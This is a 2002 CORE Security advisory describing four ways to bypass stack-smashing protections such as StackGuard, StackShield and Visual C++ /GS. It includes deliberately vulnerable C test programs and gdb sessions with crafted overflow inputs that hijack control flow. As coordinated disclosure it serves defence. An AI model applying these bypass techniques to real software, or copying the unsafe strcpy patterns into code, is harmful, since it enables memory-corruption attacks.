Multiple vulnerabilities in stack smashing protection technologies April 22nd, 2002. CORE SECURITY TECHNOLOGIES Date Published: 2002-04-22 Last Update: 2002-04-22 Advisory ID: CORE-20020409 Bugtraq ID: 4586, 4589 CVE Name: Non-assigned yet Title: Multiple vulnerabilities in stack smashing protection technologies. Class: Design limitation, Implementation flaw Remotely Exploitable: Yes Locally Exploitable: Yes Vendors contacted: 2002-04-15 - Immunix: Yes - Microsoft: Yes - Stack Smashing Protection (SSP) formerly ProPolice: Yes - StackShield: No, all attempts to notify the maintaners via email failed. No other contact information was found (the website has not been updated since January 8th, 2000). Release Mode: COORDINATED RELEASE *Vulnerability Description:* In the past years, several technologies (in the form of software packages) have been developed to protect programs against exploitation of buffer overflow vulnerabilities. These technologies aim at detecting and preventing the execution of hostile code that takes advantage of software security vulnerabilities by overwriting a critical portion of a running program's memory known as the stack. The techniques used to exploit this type of vulnerabilities have been discussed at length in the past years and, although they have been used for years in malicious code, notably the famous Robert T. Morris worm in 1988 [1], were initially introduced to the security community at large in the pioneering articles "Smashing the stack for fun and profit" [2] writen by Aleph1 and "How to write buffer overflows" by Mudge.[3] Technologies to detect and prevent "stack smashing" exploit code were presented thereafter, notably at the 1998 USENIX Security conference [4]. "Stack shielding" software have been developed on the promise of preventing exploitation of buffer overflow vulnerabilities that make use of the stack smashing techniques. Several other techniques to exploit buffer overflows that DO NOT make use of stack overwriting or code execution on the stack have be presented during the past years. Techniques that exploit vulnerabilities by overwriting or otherwise abusing other memory portions of a running program are described in Solar Designer's "Getting around non-executable stack (and fix)" [5], "Advanced return-into-lib(c) exploits(PaX case study)" [6] and "w00w00 on Heap Overflows" [7]. However, for the purpose of this advisory we will focus on the stack protection mechanisms and claim the current technologies do not provide adecuate protection: Stack shielding protections have been missunderstood, they only protect a particular type of stack smashing exploitation, namely return address overwrites, NOT generic stack smashing attacks as they claim. This has been demostrated in the past, as in "Bypassing StackGuard And StackShield" [8] and "Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released" [9] We studied the three most visible "stack shielding" technologies: -Wirex StackGuard (http://www.immunix.com/) and -StackShield (http://www.angelfire.com/sk/stackshield/download.html) -Stack Smashing Protection (SSP, formerly ProPolice), from Hiroaki Etoh (http://www.trl.ibm.com/projects/security/ssp/) As well as the recently introduced /GS stack protecting mechanism incorporated into Microsoft's Visual C++ .NET as part of the Visual Studio .NET product family. Information about the feature and details on how it works are available at: http://go.microsoft.com/fwlink/?LinkId=7260 We discovered that all of them present basic design limitations as well as some implementation flaws. Our conclusion is that although "stack shielding" technologies present a valuable mean to prevent execution of certain forms of malicious code, those technologies should not be thought as a solution to the problem of buffer overflow vulnerabilities in general and not even as a solution to some simple stack smashing techniques used to exploit those vulnerabilities. Stack shielding mechanims do not suffice to ameliorate the effects of badly written software and could give a false sense of security of devastating effects, if not considered as part of a general security strategy that includes secure design methodologies, secure programming practices, strict and well defined security testing processes and the implementation of fixes and patches as well as the use of ad hoc technologies to prevent exploitation of existing vulnerabilities, publicy known or otherwise. *Vulnerable Packages:* - StackShield up to, and including, v0.7-beta is vulnerable to #1, #3 and #4 - StackGuard 1.2 and 2.0.1 (included in Immunix 7.0) is vulnerable to all the described methods. - StackGuard 1.21 is not vulnerable to #2 Other StackGuard versions were not tested and are suspected to be vulnerable as well. - Programs compiled with Microsoft Visual C++ .NET /GS compiler switch are still exploitable by using techniques described in problem #1. Exploitation using #2, #3 and #4 is only possible if the attacker can guess or bruteforce the correct value of the "cookie", the existence of heuristics for doing that are not in the scope of this advisory. - SSP (ProPolice) is NOT vulnerable to any of the described exploitation methods. *Solution/Vendor Information/Workaround* Wirex's Immunix StackGuard. Wirex offical response is: The upcoming next release of StackGuard,version 3.0 fixes problems #2, #3 and #4 by moving the terminator canary to a position between the frame pointer and all local variables. Problem #1 is not part of StackGuard's threat model, that is StackGuard is not designed to protect against exploitation before the vulnerable function exits. Microsoft Visual Studio .NET /GS Refer to Microsoft's white paper describing the design and implementation of the /GS switch: http://go.microsoft.com/fwlink/?LinkId=7260 StackShield N/A ProPolice/SSP SSP is NOT vulnerable to any of the problems described. *Credits:* This vulnerabilities were discovered and researched by Gerardo Richarte from CORE Security Technologies. Pionering work and ideas were introduced by Richarte and many others (see the references section) in various information security mailing lists and publications as far back as 1999. We wish to thank Crispin Cowan and Seth Arnold from Wirex (Immunix) for their quick response addressing this report. *Technical Description - Exploit/Concept Code* As stated previously, we have identified two basic design limitations in the current stack smashing technologies: First, they only protect data located in memory "above" the first safeguarded address. Second, (and we think this is a more serious limitation) they only check for attacks after the called vulnerable function finishes, right before returning from it so exploitation is possible BEFORE exiting the vulnerable function. In addition to this, StackGuard and StackShield have an implementation flaw: They protect the stack starting at the return address, leaving the saved frame pointer unprotected. In our study we found four different tricks to bypass stack smashing protections, the first one is an extension of that described in the previously refered articles and is a direct consecuence of design limitations. The other three result from abusing frame pointer overwrites, and may be corrected introducing some changes in the protection mechanisms. 1) Control of function's arguments In [8] and [9] a method to exploit stack based buffer overflows on stack protected programs is presented. In the example, a local pointer is used to write to arbitrary memory locations within the program's memory space. This technique can be extended to exploit the fact that in standard C compiled programs, function arguments are located in the stack at "higher" addresses than the return address: lower addresses [ local variables ] [ saved frame pointer ] [ CANARY (0x000dff0a) ] [ return address ] [ function's arguments ] higher addresses Controlling functions arguments can effectively turn a stack protected function into an exploitable program by turning the arguments into a "write-anything-anywhere" primitive. Once the attacker has the ability to "write anything, anywhere" it is trivial to bypass stack protection mechanisms. The following program will function as proof of concept code: gera@vaiolent:~src/sg/tests$ cat >sg1.c <<_EOF_ /* sg1.c * * specially crafted to feed your brain by gera@corest.com */ int func(char *msg) { char buf[80]; strcpy(buf,msg); // toupper(buf); // here just to give func() "some sense" strcpy(msg,buf); } int main(int argv, char** argc) { func(argc[1]); } _EOF_ gera@vaiolent:~src/sg/tests$ make sg1 cc sg1.c -o sg1 gera@vaiolent:~src/sg/tests$ gdb sg1 GNU gdb 19990928 Copyright 1998 Free Software Foundation, Inc. (gdb) p "Tests performed on Immunix 7.0, for StackShield remove "Cnry" (gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaa_EBPCnry_RETbbbb (gdb) bt #0 0x40094154 in strcpy () from /lib/libc.so.6 #1 0x8048469 in func () (gdb) x/3i $pc-3 0x40094151 : mov (%edx),%al 0x40094153 : inc %edx 0x40094154 : mov %al,(%ecx,%edx,1) (gdb) x/s $edx 0xbffff95d: 'a' , "_EBPCnry_RETbbbb" (gdb) p/x $ecx+$edx $2 = 0x62626262 (gdb) p "Now we can write anything anywhere" 2) Returning with an altered frame pointer In standard frame pointer overwrite exploits [10], control over the the frame pointer is gained after the first return from the vulnerable function. Shortly before a second return control is gained over the execution flow of the vulnerable program, since the attacker can now control the stack pointer and therefore the address of where the function will return to. Using this technique against stack protected programs does not lead to staight foward exploitation of vulnerabilities, however design limitations can provide an effective way to use it. In this case we will use StackGuard's protection as an example of exploitability. StackGuard uses a protection mechanism called "terminator canary" that prevents overwriting the return address. However an attacker can overwrite *up to the terminator canary without modifying it* and thus gain control over the frame pointer. The following program serves as a proof of concept code: gera@vaiolent:~src/sg/tests$ cat >sg2.c <<_EOF_ /* sg2.c * * specially crafted to feed your brain by gera@corest.com */ void func(char *msg) { char buf[80]; strcpy(buf,msg); } int main(int argv, char** argc) { func(argc[1]); } _EOF_ gera@vaiolent:~src/sg/tests$ make sg2 cc sg2.c -o sg2 gera@vaiolent:~src/sg/tests$ gdb sg2 GNU gdb 19990928 Copyright 1998 Free Software Foundation, Inc. (gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J, it's ok" (gdb) r "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaa`echo -e '1111\x0d\xff'`^J " "`echo -e 'BBBB\x0d\xff'`^J " "`echo -e 'BBBB\x0d\xff'`^J " Program received signal SIGSEGV, Segmentation fault. 0x80486b1 in main () (gdb) x/i $pc 0x80486b1 : leave (gdb) p/x $ebp $2 = 0x31313131 (gdb) x/20x $sp ... ... 0xbffffc5c: 0x42424242 0x000aff0d ... (gdb) p "You need to locate 0x42424242 in stack (0x42424242 corresponds to 'BBBB') (gdb) p "Now run it again changin '1111' for the address you just found" (gdb) r "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaa`echo -e '\x5c\xfc\xff\xbf\x0d\xff'`^J " "`echo -e 'BBBB\x0d\xff'`^J " "`echo -e 'BBBB\x0d\xff'`^J " Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) p "As you can see, we hooked the execution flow" 3) Further control over local variables Overwriting the least significant byte in the frame pointer with zero (0x00) will move it at most 255 bytes ahead into stack space. Usually this is exploited by making the new stack have a new return address, but that would be detected or ignored on stack shielded programs. However, what an attacker can do is control the last byte of the caller's frame pointer, effectively controlling all of its local variables and function's arguments. As we showed in #1 this can lead to direct bypassing of the stack protection mechanisms. In this case we expand the technique described in #1 and realize that an attacker can control all the local variables and arguments of the *caller function* without modifying any return address or canary. The following program serves as a proof of concept code: gera@vaiolent:~src/sg/tests$ cat >sg3.c <<_EOF_ /* sg3.c * * specially crafted to feed your brain by gera@corest.com */ char *read_it() { char buf[256]; buf[read(0,buf,sizeof buf)]=0; return strdup(buf); } int main(int argv, char **argc) { char *msg = malloc(1000); snprintf(msg,999,"User: %s",read_it()); } _EOF_ gera@vaiolent:~src/sg/tests$ make sg3 cc sg3.c -o sg3 gera@vaiolent:~src/sg/tests$ ulimit -c 1111111111 gera@vaiolent:~src/sg/tests$ perl -e 'print "A"x256' | ./sg3 Segmentation fault (core dumped) gera@vaiolent:~src/sg/tests$ gdb sg3 core GNU gdb 19990928 Copyright 1998 Free Software Foundation, Inc. #0 _IO_vsnprintf (string=0x41414141
, maxlen=999, format=0x8048922 "User: %s", args=0xbffffac4) at vsprintf.c:127 127 vsnprintf.c: No such file or directory. (gdb) p "If you take a look an vsnprintf() arguments, you'll see we can write anywhere in memory." This example is valid for StackGuard and StackShielded programs. If StackShield is used with the option to terminate execution when an attack is detected, we only need to set as new return address the original return address, so it doesn't detect a change. 4) Pointing the caller's frame to the Global Offset Table (GOT) Finally, this technique is a variation a bit more complex than what was presented before. In standard compiled C code, when not using -fomit-frame-pointer compiler switch in GCC or equivalents in other compilers, all local variables are accessed relative to the frame pointer, then if an attacker gains full control over it, she can arbitrarly choose where in memory local variables are placed, this is the trick used in #3 but a slight variation introduces new posibilities. By using control over the frame pointer to place local variables and function arguments on the Global Offest Table memory space (OR MANY OTHER MEMORY PORTIONS, i.e. heap allocated memory) an attacker can effectively exploit vulnerable programs bypassing stack protection mechanisms. The following program serves as a proof of concept code: gera@vaiolent:~src/sg/tests$ cat >sg6.c <<_EOF_ /* sg6.c * * specially crafted to feed your brain by gera@corest.com */ // XXX: Add real encryption here #define decrypt(dest,src) strcpy(dest,src) int is_new_user = 0; int get_username(char *user) { char temp[80]; decrypt(temp,user); // XXX: add some real checks in the future if (strcmp(temp,"gera")) is_new_user = 1; return strdup(temp); } int main(int argv, char **argc) { char *user_name; user_name = get_username(argc[1]); return 0; } _EOF_ gera@vaiolent:~src/sg/tests$ make sg6 cc sg6.c -o sg6 gera@vaiolent:~src/sg/tests$ gdb sg6 GNU gdb 19990928 Copyright 1998 Free Software Foundation, Inc. (gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J, it's ok" (gdb) r "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaBBBB`echo -e '\x0d\xff'`^J " Program received signal SIGSEGV, Segmentation fault. 0x8048750 in main () (gdb) x/i $pc 0x8048750 : mov %eax,-4(%ebp) (gdb) p/x $ebp $1 = 0x62626262 (gdb) x/s $eax 0x80499f0: 'a' , "bbbb\rÿ\n" (gdb) p "And now, we are ready to write-anything-anywhere" The same comments as in 3) regarding StackShield exploitation applies. Microsoft's /GS protection mechanism is vulnerable to #1 but it is not straight forward to use any of the other 3 methods of exploitation because the frame pointer is protected with a random canary (known as "COOKIE" in Microsoft documentation). The cookie is generated in the seccinit.c file of the CRT source files and provided with Visual C++ .NET platform. StackGuard v1.21 introduced the use of a random XOR canary for protection, but this option is not present on v2.0.1 (as checked browsing source code). While the random XOR canary protection would have made some of the attacks (#3 and #4) not so straight forward, it is still possible to abuse the design limitations and bypass protection if a brute force approach is taken covering all possible values for a one byte change of the random canary value, this gives the attacker a 1/256 chance of bypassing the protection, more than enough for a sucessfull attack in most cases. Note that using an XOR canary as in StackGuard 1.21, problem #2 is prevented. StackShield up to 0.7beta does not appear to be vulnerable to #2 but it is vulnerable to the other explotation techniques. A detailed paper describing the protection mechanisms and all of our findings will be made available shortly after publication of this advisory at http://www.corest.com/corelabs/papers *References* [1] - The Morris Worm - http://www.wikipedia.com/wiki/Morris+Worm [2] - Smashing the stack for fun and profit - Aleph1 http://community.corest.com/~juliano/bufo.html (English - Spanish -Rusian) [3] - How to write buffer overflows - Mudge. http://community.corest.com/~juliano/l0pht-howtowrite-bof.html [4] - Automatic Detection and Prevention of Buffer-Overflow Attacks Crispin Cowan, Calton Pu, David Maier, Heather Hinton, Peat Bakke, Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang, 7th USENIX Security Symposium http://www.immunix.org/StackGuard/usenixsc98.pdf [5] - Getting around non-executable stack (and fix) - Solar Designer http://online.securityfocus.com/archive/1/7480 [6] - The advanced return-into-lib(c) exploits: PaX case study - Nergal http://www.phrack.com/show.php?p=58&a=4 [7] - w00w00 on Heap Overflows - Shock and w00w00 http://www.w00w00.org/files/articles/heaptut.txt [8] - Bypassing StackGuard And StackShield - Bulba and Kil3r http://www.phrack.org/show.php?p=56&a=5 [9] - Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released - Gerardo Richarte http://online.securityfocus.com/archive/1/34225 [10]- The Frame Pointer Overwrite - klog http://www.phrack.com/show.php?p=55&a=8 *DISCLAIMER:* The contents of this advisory are copyright (c) 2001 CORE Security Technologies and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.